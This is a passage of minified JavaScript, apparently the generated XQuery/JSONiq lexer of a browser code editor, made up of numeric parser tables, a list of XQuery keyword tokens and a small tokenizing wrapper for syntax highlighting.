45,45,671,45,45,45,45,45,45,45,45,45,45,411,45,45,414,45,45,45,45,377,45,45,45,386,45,45,45,45,45,45,45,45,45,1223,45,45,45,45,45,45,45,45,45,426,45,45,433,45,45,45,67,67,67,67,67,463,67,67,67,472,67,67,67,67,67,67,67,527,67,67,67,67,67,67,537,67,540,24850,24850,12564,12564,0,57889,0,0,0,53531,53531,367,286,97,97,97,97,97,1119,97,97,97,97,97,97,97,97,97,97,1509,97,97,97,97,97,97,97,97,564,97,97,97,97,97,97,97,637,18,131427,0,0,0,0,0,0,362,0,0,365,29315,367,0,921,29315,0,0,0,927,45,45,45,45,45,45,45,45,45,1234,45,45,45,45,67,67,67,67,1240,45,697,45,45,45,45,45,45,45,45,45,45,708,45,45,45,45,1221,45,45,45,45,1225,45,45,45,45,45,45,384,45,45,45,45,45,45,45,45,45,1210,45,45,45,45,45,45,67,67,795,67,67,67,67,67,67,67,67,67,67,67,67,67,1470,67,67,67,67,67,67,67,815,67,67,67,67,67,67,25398,542,13112,544,97,97,97,893,97,97,97,97,97,97,97,97,97,97,97,97,1164,97,97,97,67,67,67,1025,67,67,67,67,67,67,67,67,67,67,67,67,1687,67,67,67,67,67,67,67,67,67,25398,0,13112,0,54074,0,0,0,0,0,1097,1241,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1450,45,45,1388,45,1390,45,45,45,45,45,45,45,45,45,45,45,1236,67,67,67,67,67,1437,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1472,1490,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1503,67,67,67,67,67,97,97,97,97,97,0,1930,0,97,97,97,97,97,847,97,97,97,97,97,97,97,97,97,858,67,67,1965,67,97,97,97,97,0,0,0,97,97,97,97,0,97,97,1719,97,97,97,97,97,97,0,0,0,45,45,45,45,1382,45,1383,45,45,45,159,45,45,45,45,45,45,45,45,45,45,45,45,45,1563,45,45,45,45,45,67,261,67,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,341,97,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,97,1099,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1333,97,1230,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,1992,67,1993,67,67,67,97,97,45,45,160,45,45,45,45,45,45,45,45,45,45,45,45,45,1665,45,45,45,45,45,131427,357,0,0,0,362,0,365,28809,367,139,45,45,45,45,45,684,45,45,45,45,45,45,45,45,45,45,412,45,45,45,416,45,45,45,440,45,45,45,45,45,45,45,45,45,45,45,67,67,1990,67,1991,67,67,67,67,67,67,67,97,97,1707,97,97,97,97,97,97,501,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,1691,67,67,67,67,67,526,67,67,67,67,67,67,67,67,67,67,1030,67,1032,67,67,67,67,598,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1632,0,921,29315,923,0,0,0,45,45,45,45,45,45,45,45,45,1404,45,45,45,45,45,45,45,45,45,425,45,45,45,45,45,45,67,67,67,67,67,25398,0,13112,0,54074,0,0,1093,0,0,0,0,0,97,1609,97,97,97,97,97,97,97,97,97,1369,97,97,97,1372,97,97,67,67,266,67,67,67,67,0,24850,12564,0,0,0,0,28809,53531,97,346,97,97,97,97,0,40976,0,18,18,24,24,27,27,27,665,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,1677,45,45,45,45,67,45,45,954,45,956,45,45,45,45,45,45,45,45,45,45,45,1545,45,45,45,45,45,45,45,45,45,448,45,45,45,45,67,456,67,67,67,67,67,1270,67,67,67,67,67,67,67,67,67,67,1069,67,67,67,67,67,67,97,97,97,1350,97,97,97,97,97,97,97,97,97,97,97,97,1524,97,97,97,97,97,97,97,1376,0,0,0,45,45,45,45,45,45,45,45,1559,1561,45,45,45,1564,45,1566,1567,45,67,67,67,67,67,1573,67,67,67,67,67,67,67,67,67,67,1247,67,67,67,67,67,1252,97,1725,97,0,97,97,97,97,97,97,97,97,97,97,97,97,1628,97,1630,0,0,94242,0,0,0,2211840,0,1118208,0,0,0,0,2158592,2158731,2158592,2158592,2158592,3117056,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,3018752,2158592,3043328,2158592,2158592,2158592,2158592,3080192,2158592,2158592,3112960,2158592,2158592,2158592,2158592,2158592,2158878,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2605056,2158592,2158592,2207744,0,542,0,544,0,0,2166784,0,0,0,550,0,0,2158592,2158592,2686976,2158592,2715648,2158592,2158592,2158592,2158592,2158592,2158592,2158592,2867200,2158592,2904064,2158592,2158592,2158592,2158592,2158592,2158592,2158592,0,94242,0,0,0,2211840,0,0,1130496,0,0,0,2158592,2158592,2158592,2158592,2158592,3186688,2158592,0,0,139,0,0,0,139,0,2367488,2207744,0,0,0,0,176128,0,2166784,0,0,0,0,0,286,2158592,2158592,3170304,3174400,2158592,0,0,0,2158592,2158592,2158592,2158592,2158592,2424832,2158592,2158592,2158592,1508,2158592,2908160,2158592,2158592,2158592,2977792,2158592,2158592,2158592,2158592,3039232,2158592,2158592,2158592,2158592,2158592,2158592,3158016,67,24850,24850,12564,12564,0,0,0,0,0,53531,53531,0,286,97,97,97,97,97,1144,97,97,97,97,97,97,97,97,97,97,1149,97,97,97,97,1154,57889,0,0,0,0,550,0,97,97,97,97,97,97,97,97,97,561,97,97,97,97,97,97,576,97,97,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,139264,0,0,139264,0,921,29315,0,0,926,0,45,45,45,45,45,45,45,45,45,719,720,45,45,45,45,45,45,45,45,685,45,45,45,45,45,45,45,45,45,942,45,45,946,45,45,45,950,45,45,0,2146304,2146304,0,0,0,0,2224128,2224128,2224128,2232320,2232320,2232320,2232320,0,0,1301,0,0,0,0,0,1307,0,0,0,0,0,1313,0,0,0,0,0,0,0,97,97,1318,97,97,97,97,97,97,1795,97,97,45,45,45,45,45,45,45,446,45,45,45,45,45,45,67,67,2158592,2146304,0,0,0,0,0,0,0,2211840,0,0,0,0,2158592,0,921,29315,0,924,0,0,45,45,45,45,45,45,45,45,45,1e3,45,45,45,45,67,67],r.EXPECTED=[290,300,304,353,296,309,305,319,315,324,328,352,354,334,338,330,320,345,349,293,358,362,341,366,312,370,374,378,382,386,390,394,398,737,402,634,439,604,634,634,634,634,408,634,634,634,404,634,634,634,457,634,634,963,634,634,413,634,634,634,634,634,634,634,663,418,422,903,902,426,431,548,634,437,521,919,443,615,409,449,455,624,731,751,634,461,465,672,470,469,474,481,485,477,489,493,629,542,497,505,603,602,991,648,510,804,634,515,958,526,525,530,768,634,546,552,711,710,593,558,562,618,566,570,574,578,582,586,590,608,612,660,822,821,634,622,596,444,628,533,724,633,640,653,647,652,536,1008,451,450,445,657,670,676,685,689,693,697,701,704,707,715,719,798,815,634,723,762,996,634,728,969,730,735,908,634,741,679,889,511,747,634,750,755,499,666,499,501,759,772,776,780,634,787,784,797,802,809,808,427,814,1006,517,634,519,853,634,813,850,793,634,819,826,833,832,837,843,847,857,861,863,867,871,875,879,883,643,887,539,980,979,634,893,944,634,900,896,634,907,933,506,912,917,828,433,636,635,554,961,923,930,927,937,941,634,634,634,974,948,952,985,913,968,967,743,634,973,839,634,978,599,634,984,989,765,444,995,1e3,634,1003,790,955,1012,681,634,634,634,634,634,414,1016,1020,1024,1085,1027,1090,1090,1046,1080,1137,1108,1215,1049,1032,1039,1085,1085,1085,1085,1058,1062,1068,1085,1086,1090,1090,1091,1072,1064,1107,1090,1090,1090,1118,1123,1138,1078,1074,1084,1085,1085,1085,1087,1090,1062,1052,1060,1114,1062,1104,1085,1085,1090,1090,1028,1122,1063,1128,1139,1127,1158,1085,1085,1151,1090,1090,1090,1095,1090,1132,1073,1136,1143,1061,1150,1085,1155,1098,1101,1146,1162,1169,1101,1185,1151,1090,1110,1173,1054,1087,1109,1177,1165,1089,1204,1184,1107,1189,1193,1088,1197,1180,1201,1208,1042,1212,1219,1223,1227,1231,1235,1245,1777,1527,1686,1686,1238,1686,1254,1686,1686,1686,1294,1669,1686,1686,1686,1322,1625,1534,1268,1624,1275,1281,1443,1292,1300,1686,1686,1686,1350,1826,1306,1686,1686,1240,2032,1317,1321,1686,1686,1253,1686,1326,1686,1686,1686,1418,1709,1446,1686,1686,1686,1492,1686,1295,1447,1686,1686,1258,1686,1736,1686,1686,1520,1355,1686,1288,1348,1361,1686,1359,1686,1364,1498,1368,1302,1362,1381,1389,1395,1486,1686,1371,1377,1370,1686,1375,1382,1384,1402,1408,1385,1383,1619,1413,1423,1428,1433,1686,1686,1270,1686,1338,1686,1440,1686,1686,1686,1499,1465,1686,1686,1686,1639,1473,1884,1686,1686,1293,1864,1686,1686,1296,1321,1483,1686,1686,1686,1646,1686,1748,1496,1686,1418,1675,1686,1418,1702,1686,1418,1981,1686,1429,1409,1427,1504,1692,1686,1686,1313,1448,1651,1508,1686,1686,1340,1686,1903,1686,1686,1435,1513,1686,1283,1287,1519,1686,1524,1363,1568,1938,1539,1566,1579,1479,1533,1538,1553,1544,1552,1557,1563,1574,1557,1583,1589,1590,1759,1594,1603,1607,1611,1686,1436,1514,1686,1434,1656,1686,1434,1680,1686,1453,1686,1686,1686,1559,1617,1686,1770,1418,1623,1769,1629,1686,1515,1335,1686,1285,1686,1671,1921,1650,1686,1686,1344,1308,1666,1686,1686,1686,1659,1685,1686,1686,1686,1686,1241,1686,1686,1844,1691,1686,1630,1977,1970,1362,1686,1686,1686,1693,1698,1686,1686,1686,1697,1686,1764,1715,1686,1634,1638,1686,1599,1585,1686,1271,1686,1269,1686,1721,1686,1686,1354,1686,1801,1686,1799,1686,1640,1686,1686,1461,1686,1686,1732,1686,1944,1686,1740,1686,1746,1415,1396,1686,1598,1547,1417,1597,1416,1577,1546,1397,1577,1547,1548,1570,1398,1753,1686,1652,1509,1686,1686,1686,1757,1686,1419,1686,1763,1418,1768,1781,1686,1686,1686,1705,1686,2048,1792,1686,1686,1686,1735,1686,1797,1686,1686,1404,1686,1639,1815,1686,1686,1418,2017,1820,1686,1686,1803,1686,1686,1686,1736,1489,1686,1686,1825,1338,1260,1263,1686,1686,1785,1686,1686,1728,1686,1686,1749,1497,1830,1830,1262,1248,1261,1329,1260,1264,1329,1248,1249,1259,1540,1849,1842,1686,1686,1835,1686,1686,1816,1686,1686,1831,1882,1848,1686,1686,1686,1774,2071,1854,1686,1686,1469,1884,1686,1821,1859,1686,1686,1350,1883,1686,1686,1686,1781,1391,1875,1686,1686,1613,1644,1686,1686,1889,1686,1686,1662,1884,1686,1885,1890,1686,1686,1686,1894,1686,1686,1678,1686,1907,1686,1686,1529,1914,1686,1838,1686,1686,1881,1686,1686,1872,1876,1836,1919,1686,1837,1692,1910,1686,1925,1928,1742,1686,1811,1811,1930,1810,1929,1935,1928,1900,1942,1867,1868,1931,1035,1788,1948,1952,1956,1960,1964,1686,1976,1686,1686,1686,2065,1686,1992,2037,1686,1686,1998,2009,1972,2002,1686,1686,1686,2077,1300,2023,1686,1686,1686,1807,2031,1686,1686,1686,1860,1500,2032,1686,1686,1686,2083,1686,2036,1686,1277,1276,2042,1877,1686,1686,2041,1686,1686,2027,2037,2012,1686,2012,1855,1850,1686,2046,1686,1686,2054,1996,1686,1897,1309,2059,2052,1686,2058,1686,1686,2081,1686,1717,1477,1686,1331,1686,1686,1687,1686,1860,1681,1686,1686,1686,1966,1724,1686,1686,1686,1984,2015,1686,1686,1686,1988,1686,2063,1686,1686,1686,2005,1686,1727,1686,1686,1711,1457,2069,1686,1686,1686,2019,2075,1686,1686,1915,1686,1686,1793,1874,1686,1686,1491,1362,1449,1686,1686,1460,2098,2087,2091,2095,2184,2102,2113,2780,2117,2134,2142,2281,2146,2146,2146,2304,2296,2181,2639,2591,2872,2592,2873,2313,2195,2200,2281,2146,2273,2226,2204,2152,2219,2276,2167,2177,2276,2235,2276,2276,2230,2281,2276,2296,2276,2293,2276,2276,2276,2276,2234,2276,2311,2314,2210,2199,2217,2222,2276,2276,2276,2240,2276,2294,2276,2276,2173,2276,2198,2281,2281,2281,2281,2282,2146,2146,2146,2146,2205,2146,2204,2248,2276,2235,2276,2297,2276,2276,2276,2277,2256,2281,2283,2146,2146,2146,2275,2276,2295,2276,2276,2293,2146,2304,2264,2269,2221,2276,2276,2276,2293,2295,2276,2276,2276,2295,2263,2205,2268,2220,2172,2276,2276,2276,2296,2276,2276,2296,2294,2276,2276,2278,2281,2281,2280,2281,2281,2281,2283,2206,2223,2276,2276,2279,2281,2281,2146,2273,2276,2276,2281,2281,2281,2276,2292,2276,2298,2225,2276,2298,2169,2224,2292,2298,2171,2229,2281,2281,2171,2236,2281,2281,2281,2146,2275,2225,2292,2299,2276,2229,2281,2146,2276,2290,2297,2283,2146,2146,2274,2224,2227,2298,2225,2297,2276,2230,2170,2230,2282,2146,2147,2151,2156,2288,2276,2230,2303,2308,2236,2284,2228,2318,2318,2318,2326,2335,2339,2343,2349,2416,2693,2357,2592,2109,2592,2592,2162,2943,2823,2646,2592,2361,2592,2122,2592,2592,2122,2470,2592,2592,2592,2109,2107,2592,2592,2592,2123,2592,2592,2592,2125,2592,2413,2592,2592,2592,2127,2592,2592,2414,2592,2592,2592,2130,2952,2592,2594,2592,2592,2212,2609,2252,2592,2592,2592,2446,2434,2592,2592,2592,2212,2446,2450,2456,2431,2435,2592,2592,2243,2478,2448,2439,2946,2592,2592,2592,2368,2809,2813,2450,2441,2212,2812,2449,2440,2947,2592,2592,2592,2345,2451,2457,2948,2592,2124,2592,2592,2650,2823,2449,2455,2946,2592,2128,2592,2592,2649,2952,2592,2810,2448,2461,2991,2467,2592,2592,2329,2817,2474,2990,2466,2592,2592,2373,2447,2992,2469,2592,2592,2592,2373,2447,2477,2468,2592,2592,2353,2469,2592,2495,2592,2592,2415,2483,2592,2415,2496,2592,2592,2352,2592,2592,2352,2352,2469,2592,2592,2363,2331,2494,2592,2592,2592,2375,2592,2375,2415,2504,2592,2592,2367,2372,2503,2592,2592,2592,2389,2418,2415,2592,2592,2373,2592,2592,2592,2593,2732,2417,2415,2592,2417,2520,2592,2592,2592,2390,2521,2521,2592,2592,2592,2401,2599,2585,2526,2531,2120,2592,2212,2426,2450,2463,2948,2592,2592,2592,2213,2389,2527,2532,2121,2542,2551,2105,2592,2213,2592,2592,2592,2558,2538,2544,2553,2557,2537,2543,2552,2421,2572,2576,2546,2543,2547,2592,2592,2373,2615,2575,2545,2105,2592,2244,2479,2592,2129,2592,2592,2628,2690,2469,2562,2566,2592,2592,2592,2415,2928,2934,2401,2570,2574,2564,2572,2585,2590,2592,2592,2585,2965,2592,2592,2592,2445,2251,2592,2592,2592,2474,2592,2609,2892,2592,2362,2592,2592,2138,2851,2159,2592,2592,2592,2509,2888,2892,2592,2592,2592,2490,2418,2891,2592,2592,2376,2592,2592,2374,2592,2889,2388,2592,2373,2373,2890,2592,2592,2387,2592,2887,2505,2892,2592,2373,2610,2388,2592,2592,2376,2373,2592,2887,2891,2592,2374,2592,2592,2608,2159,2614,2620,2592,2592,2394,2594,2887,2399,2592,2887,2397,2508,2374,2507,2592,2375,2592,2592,2592,2595,2508,2506,2592,2506,2505,2505,2592,2507,2637,2505,2592,2592,2401,2661,2592,2643,2592,2592,2417,2592,2655,2592,2592,2592,2510,2414,2656,2592,2592,2592,2516,2592,2593,2660,2665,2880,2592,2592,2592,2522,2767,2666,2881,2592,2592,2420,2571,2696,2592,2592,2592,2580,2572,2686,2632,2698,2592,2383,2514,2592,2163,2932,2465,2685,2631,2697,2592,2388,2592,2592,2212,2604,2671,2632,2678,2592,2401,2405,2409,2592,2592,2592,2679,2592,2592,2592,2592,2108,2677,2591,2592,2592,2592,2419,2592,2683,2187,2191,2469,2671,2189,2467,2592,2401,2629,2633,2702,2468,2592,2592,2421,2536,2703,2469,2592,2592,2422,2573,2593,2672,2467,2592,2402,2406,2592,2402,2979,2592,2592,2626,2673,2467,2592,2446,2259,2947,2592,2377,2709,2592,2592,2522,2862,2713,2468,2592,2592,2581,2572,2562,2374,2374,2592,2376,2721,2724,2592,2592,2624,2373,2731,2592,2592,2592,2626,2732,2592,2592,2592,2755,2656,2726,2736,2741,2592,2486,2593,2381,2592,2727,2737,2742,2715,2747,2753,2592,2498,2469,2873,2743,2592,2592,2592,2791,2759,2763,2592,2592,2627,2704,2592,2592,2522,2789,2593,2761,2753,2592,2498,2863,2592,2592,2767,2592,2592,2592,2792,2789,2592,2592,2592,2803,2126,2592,2592,2592,2811,2122,2592,2592,2592,2834,2777,2592,2592,2592,2848,2936,2591,2489,2797,2592,2592,2670,2631,2490,2798,2592,2592,2592,2963,2807,2592,2592,2592,2965,2838,2592,2592,2592,2975,2330,2818,2829,2592,2498,2939,2592,2498,2592,2791,2331,2819,2830,2592,2592,2592,2982,2834,2817,2828,2106,2592,2592,2592,2405,2405,2817,2828,2592,2592,2415,2849,2842,2592,2522,2773,2592,2522,2868,2592,2580,2600,2586,2137,2850,2843,2592,2592,2855,2937,2844,2592,2592,2592,2987,2936,2591,2592,2592,2684,2630,2592,2856,2938,2592,2592,2860,2939,2592,2592,2872,2592,2861,2591,2592,2592,2887,2616,2592,2867,2592,2592,2708,2592,2498,2469,2498,2497,2785,2773,2499,2783,2770,2877,2877,2877,2772,2592,2592,2345,2885,2592,2592,2592,2715,2762,2515,2896,2592,2592,2715,2917,2516,2897,2592,2592,2592,2901,2906,2911,2592,2592,2956,2960,2715,2902,2907,2912,2593,2916,2920,2820,2922,2822,2592,2592,2715,2927,2921,2821,2106,2592,2592,2974,2408,2321,2821,2106,2592,2592,2983,2592,2593,2404,2408,2592,2592,2717,2749,2716,2928,2322,2822,2593,2926,2919,2820,2934,2823,2592,2592,2592,2651,2824,2592,2592,2592,2130,2952,2592,2592,2592,2592,2964,2592,2592,2716,2748,2592,2969,2592,2592,2716,2918,2368,2970,2592,2592,2592,2403,2407,2592,2592,2787,2211,2404,2409,2592,2592,2802,2837,2987,2592,2592,2592,2809,2427,2592,2793,2592,2592,2809,2447,1073741824,2147483648,539754496,542375936,402653184,554434560,571736064,545521856,268451840,335544320,268693630,512,2048,256,1024,0,1024,0,1073741824,2147483648,0,0,0,8388608,0,0,1073741824,1073741824,0,2147483648,537133056,4194304,1048576,268435456,-1073741824,0,0,0,1048576,0,0,0,1572864,0,0,0,4194304,0,134217728,16777216,0,0,32,64,98304,0,33554432,8388608,192,67108864,67108864,67108864,67108864,16,32,4,0,8192,196608,196608,229376,80,4096,524288,8388608,0,0,32,128,256,24576,24600,24576,24576,2,24576,24576,24576,24584,24592,24576,24578,24576,24578,24576,24576,16,512,2048,2048,256,4096,32768,1048576,4194304,67108864,134217728,268435456,262144,134217728,0,128,128,64,16384,16384,16384,67108864,32,32,4,4,4096,262144,134217728,0,0,0,2,0,8192,131072,131072,4096,4096,4096,4096,24576,24576,24576,8,8,24576,24576,16384,16384,16384,24576,24584,24576,24576,24576,16384,24576,536870912,262144,0,0,32,2048,8192,4,4096,4096,4096,786432,8388608,16777216,0,128,16384,16384,16384,32768,65536,2097152,32,32,32,32,4,4,4,4,4,4096,67108864,67108864,67108864,24576,24576,24576,24576,0,16384,16384,16384,16384,67108864,67108864,8,67108864,24576,8,8,8,24576,24576,24576,24578,24576,24576,24576,2,2,2,16384,67108864,67108864,67108864,32,67108864,8,8,24576,2048,2147483648,536870912,262144,262144,262144,67108864,8,24576,16384,32768,1048576,4194304,25165824,67108864,24576,32770,2,4,112,512,98304,524288,50,402653186,1049090,1049091,10,66,100925514,10,66,12582914,0,0,-1678194207,-1678194207,-1041543218,0,32768,0,0,32,65536,268435456,1,1,513,1048577,0,12582912,0,0,0,4,1792,0,0,0,7,29360128,0,0,0,8,0,0,0,12,1,1,0,0,-604102721,-604102721,4194304,8388608,0,0,0,31,925600,997981306,997981306,997981306,0,0,2048,8388608,0,0,1,2,4,32,64,512,8192,0,0,0,245760,997720064,0,0,0,32,0,0,0,3,12,16,32,8,112,3072,12288,16384,32768,65536,131072,7864320,16777216,973078528,0,0,65536,131072,3670016,4194304,16777216,33554432,2,8,48,2048,8192,16384,32768,65536,131072,524288,131072,524288,3145728,4194304,16777216,33554432,65536,131072,2097152,4194304,16777216,33554432,134217728,268435456,536870912,0,0,0,1024,0,8,48,2048,8192,65536,33554432,268435456,536870912,65536,268435456,536870912,0,0,32768,0,0,126,623104,65011712,0,32,65536,536870912,0,0,65536,524288,0,32,65536,0,0,0,2048,0,0,0,15482,245760,-604102721,0,0,0,18913,33062912,925600,-605028352,0,0,0,65536,31,8096,131072,786432,3145728,3145728,12582912,50331648,134217728,268435456,160,256,512,7168,131072,786432,131072,786432,1048576,2097152,12582912,16777216,268435456,1073741824,2147483648,12582912,16777216,33554432,268435456,1073741824,2147483648,3,12,16,160,256,7168,786432,1048576,12582912,16777216,268435456,1073741824,0,8,16,32,128,256,512,7168,786432,1048576,2097152,0,1,2,8,16,7168,786432,1048576,8388608,16777216,16777216,1073741824,0,0,0,0,1,0,0,8,32,128,256,7168,8,32,0,3072,0,8,32,3072,4096,524288,8,32,0,0,3072,4096,0,2048,524288,8388608,8,2048,0,0,1,12,256,4096,32768,262144,1048576,4194304,67108864,0,2048,0,2048,2048,1073741824,-58805985,-58805985,-58805985,0,0,262144,0,0,32,4194304,16777216,134217728,4382,172032,-58982400,0,0,2,28,256,4096,8192,8192,32768,131072,262144,524288,1,2,12,256,4096,0,0,4194304,67108864,134217728,805306368,1073741824,0,0,1,2,12,16,256,4096,1048576,67108864,134217728,268435456,0,512,1048576,4194304,201326592,1879048192,0,0,12,256,4096,134217728,268435456,536870912,12,256,268435456,536870912,0,12,256,0,0,1,32,64,512,0,0,205236961,205236961,0,0,0,1,96,640,1,10976,229376,204996608,0,640,2048,8192,229376,1572864,1572864,2097152,201326592,0,0,0,64,512,2048,229376,1572864,201326592,1572864,201326592,0,0,1,4382,0,1,32,2048,65536,131072,1572864,201326592,131072,1572864,134217728,0,0,524288,524288,0,0,0,-68582786,-68582786,-68582786,0,0,2097152,524288,0,524288,0,0,65536,131072,1572864,0,0,2,4,0,0,65011712,-134217728,0,0,0,0,2,4,120,512,-268435456,0,0,0,2,8,48,64,2048,8192,98304,524288,2097152,4194304,25165824,33554432,134217728,268435456,2147483648,0,0,25165824,33554432,134217728,1879048192,2147483648,0,0,4,112,512,622592,65011712,134217728,-268435456,16777216,33554432,134217728,1610612736,0,0,0,64,98304,524288,4194304,16777216,33554432,0,98304,524288,16777216,33554432,0,65536,524288,33554432,536870912,1073741824,0,65536,524288,536870912,1073741824,0,0,65536,524288,536870912,0,524288,0,524288,524288,1048576,2086666240,2147483648,0,-1678194207,0,0,0,8,32,2048,524288,8388608,0,0,33062912,436207616,2147483648,0,0,32,64,2432,16384,32768,32768,524288,3145728,4194304,25165824,25165824,167772160,268435456,2147483648,0,32,64,384,2048,16384,32768,1048576,2097152,4194304,25165824,32,64,128,256,2048,16384,2048,16384,1048576,4194304,16777216,33554432,134217728,536870912,1073741824,0,0,2048,16384,4194304,16777216,33554432,134217728,805306368,0,0,16777216,134217728,268435456,2147483648,0,622592,622592,622592,8807,8807,434791,0,0,16777216,0,0,0,7,608,8192,0,0,0,3,4,96,512,32,64,8192,0,0,16777216,134217728,0,0,2,4,8192,16384,65536,2097152,33554432,268435456],r.TOKEN=[\"(0)\",\"ModuleDecl\",\"Annotation\",\"OptionDecl\",\"Operator\",\"Variable\",\"Tag\",\"EndTag\",\"PragmaContents\",\"DirCommentContents\",\"DirPIContents\",\"CDataSectionContents\",\"AttrTest\",\"Wildcard\",\"EQName\",\"IntegerLiteral\",\"DecimalLiteral\",\"DoubleLiteral\",\"PredefinedEntityRef\",\"'\\\"\\\"'\",\"EscapeApos\",\"QuotChar\",\"AposChar\",\"ElementContentChar\",\"QuotAttrContentChar\",\"AposAttrContentChar\",\"NCName\",\"QName\",\"S\",\"CharRef\",\"CommentContents\",\"DocTag\",\"DocCommentContents\",\"EOF\",\"'!'\",\"'\\\"'\",\"'#'\",\"'#)'\",\"''''\",\"'('\",\"'(#'\",\"'(:'\",\"'(:~'\",\"')'\",\"'*'\",\"'*'\",\"','\",\"'-->'\",\"'.'\",\"'/'\",\"'/>'\",\"':'\",\"':)'\",\"';'\",\"'<!--'\",\"'<![CDATA['\",\"'<?'\",\"'='\",\"'>'\",\"'?'\",\"'?>'\",\"'NaN'\",\"'['\",\"']'\",\"']]>'\",\"'after'\",\"'all'\",\"'allowing'\",\"'ancestor'\",\"'ancestor-or-self'\",\"'and'\",\"'any'\",\"'append'\",\"'array'\",\"'as'\",\"'ascending'\",\"'at'\",\"'attribute'\",\"'base-uri'\",\"'before'\",\"'boundary-space'\",\"'break'\",\"'by'\",\"'case'\",\"'cast'\",\"'castable'\",\"'catch'\",\"'check'\",\"'child'\",\"'collation'\",\"'collection'\",\"'comment'\",\"'constraint'\",\"'construction'\",\"'contains'\",\"'content'\",\"'context'\",\"'continue'\",\"'copy'\",\"'copy-namespaces'\",\"'count'\",\"'decimal-format'\",\"'decimal-separator'\",\"'declare'\",\"'default'\",\"'delete'\",\"'descendant'\",\"'descendant-or-self'\",\"'descending'\",\"'diacritics'\",\"'different'\",\"'digit'\",\"'distance'\",\"'div'\",\"'document'\",\"'document-node'\",\"'element'\",\"'else'\",\"'empty'\",\"'empty-sequence'\",\"'encoding'\",\"'end'\",\"'entire'\",\"'eq'\",\"'every'\",\"'exactly'\",\"'except'\",\"'exit'\",\"'external'\",\"'first'\",\"'following'\",\"'following-sibling'\",\"'for'\",\"'foreach'\",\"'foreign'\",\"'from'\",\"'ft-option'\",\"'ftand'\",\"'ftnot'\",\"'ftor'\",\"'function'\",\"'ge'\",\"'greatest'\",\"'group'\",\"'grouping-separator'\",\"'gt'\",\"'idiv'\",\"'if'\",\"'import'\",\"'in'\",\"'index'\",\"'infinity'\",\"'inherit'\",\"'insensitive'\",\"'insert'\",\"'instance'\",\"'integrity'\",\"'intersect'\",\"'into'\",\"'is'\",\"'item'\",\"'json'\",\"'json-item'\",\"'key'\",\"'language'\",\"'last'\",\"'lax'\",\"'le'\",\"'least'\",\"'let'\",\"'levels'\",\"'loop'\",\"'lowercase'\",\"'lt'\",\"'minus-sign'\",\"'mod'\",\"'modify'\",\"'module'\",\"'most'\",\"'namespace'\",\"'namespace-node'\",\"'ne'\",\"'next'\",\"'no'\",\"'no-inherit'\",\"'no-preserve'\",\"'node'\",\"'nodes'\",\"'not'\",\"'object'\",\"'occurs'\",\"'of'\",\"'on'\",\"'only'\",\"'option'\",\"'or'\",\"'order'\",\"'ordered'\",\"'ordering'\",\"'paragraph'\",\"'paragraphs'\",\"'parent'\",\"'pattern-separator'\",\"'per-mille'\",\"'percent'\",\"'phrase'\",\"'position'\",\"'preceding'\",\"'preceding-sibling'\",\"'preserve'\",\"'previous'\",\"'processing-instruction'\",\"'relationship'\",\"'rename'\",\"'replace'\",\"'return'\",\"'returning'\",\"'revalidation'\",\"'same'\",\"'satisfies'\",\"'schema'\",\"'schema-attribute'\",\"'schema-element'\",\"'score'\",\"'self'\",\"'sensitive'\",\"'sentence'\",\"'sentences'\",\"'skip'\",\"'sliding'\",\"'some'\",\"'stable'\",\"'start'\",\"'stemming'\",\"'stop'\",\"'strict'\",\"'strip'\",\"'structured-item'\",\"'switch'\",\"'text'\",\"'then'\",\"'thesaurus'\",\"'times'\",\"'to'\",\"'treat'\",\"'try'\",\"'tumbling'\",\"'type'\",\"'typeswitch'\",\"'union'\",\"'unique'\",\"'unordered'\",\"'updating'\",\"'uppercase'\",\"'using'\",\"'validate'\",\"'value'\",\"'variable'\",\"'version'\",\"'weight'\",\"'when'\",\"'where'\",\"'while'\",\"'wildcards'\",\"'window'\",\"'with'\",\"'without'\",\"'word'\",\"'words'\",\"'xquery'\",\"'zero-digit'\",\"'{'\",\"'{{'\",\"'|'\",\"'}'\",\"'}}'\"]},{}],2:[function(e,t,n){\"use strict\";var r=function(e){var t=e;this.tokens=[],this.reset=function(){t=t,this.tokens=[]},this.startNonterminal=function(){},this.endNonterminal=function(){},this.terminal=function(e,n,r){this.tokens.push({name:e,value:t.substring(n,r)})},this.whitespace=function(e,n){this.tokens.push({name:\"WS\",value:t.substring(e,n)})}};n.Lexer=function(e,t){this.tokens=[],this.getLineTokens=function(n,i){i=i===\"start\"||!i?'[\"start\"]':i;var s=JSON.parse(i),o=new r(n),u=new e(n,o),a=[];for(;;){var f=s[s.length-1];try{o.tokens=[],u[\"parse_\"+f]();var l=null;o.tokens.length>1&&o.tokens[0].name===\"WS\"&&(a.push({type:\"text\",value:o.tokens[0].value}),o.tokens.splice(0,1));var c=o.tokens[0],h=t[f];for(var p=0;p<h.length;p++){var d=t[f][p];if(typeof d.name==\"function\"&&d.name(c)||d.name===c.name){l=d;break}}if(c.name===\"EOF\")break;if(c.value===\"\")throw\"Encountered empty string lexical rule.\";a.push({type:l===null?\"text\":typeof l.token==\"function\"?l.token(c.value):l.token,value:c.value}),l&&l.next&&l.next(s)}catch(v){if(v instanceof u.ParseException){var m=0;for(var g=0;g<a.length;g++)m+=a[g].value.length;return a.push({type:\"text\",value:n.substring(m)}),{tokens:a,state:JSON.stringify([\"start\"])}}throw v}}return{tokens:a,state:JSON.stringify(s)}}}},{}],3:[function(e,t,n){\"use strict\";var 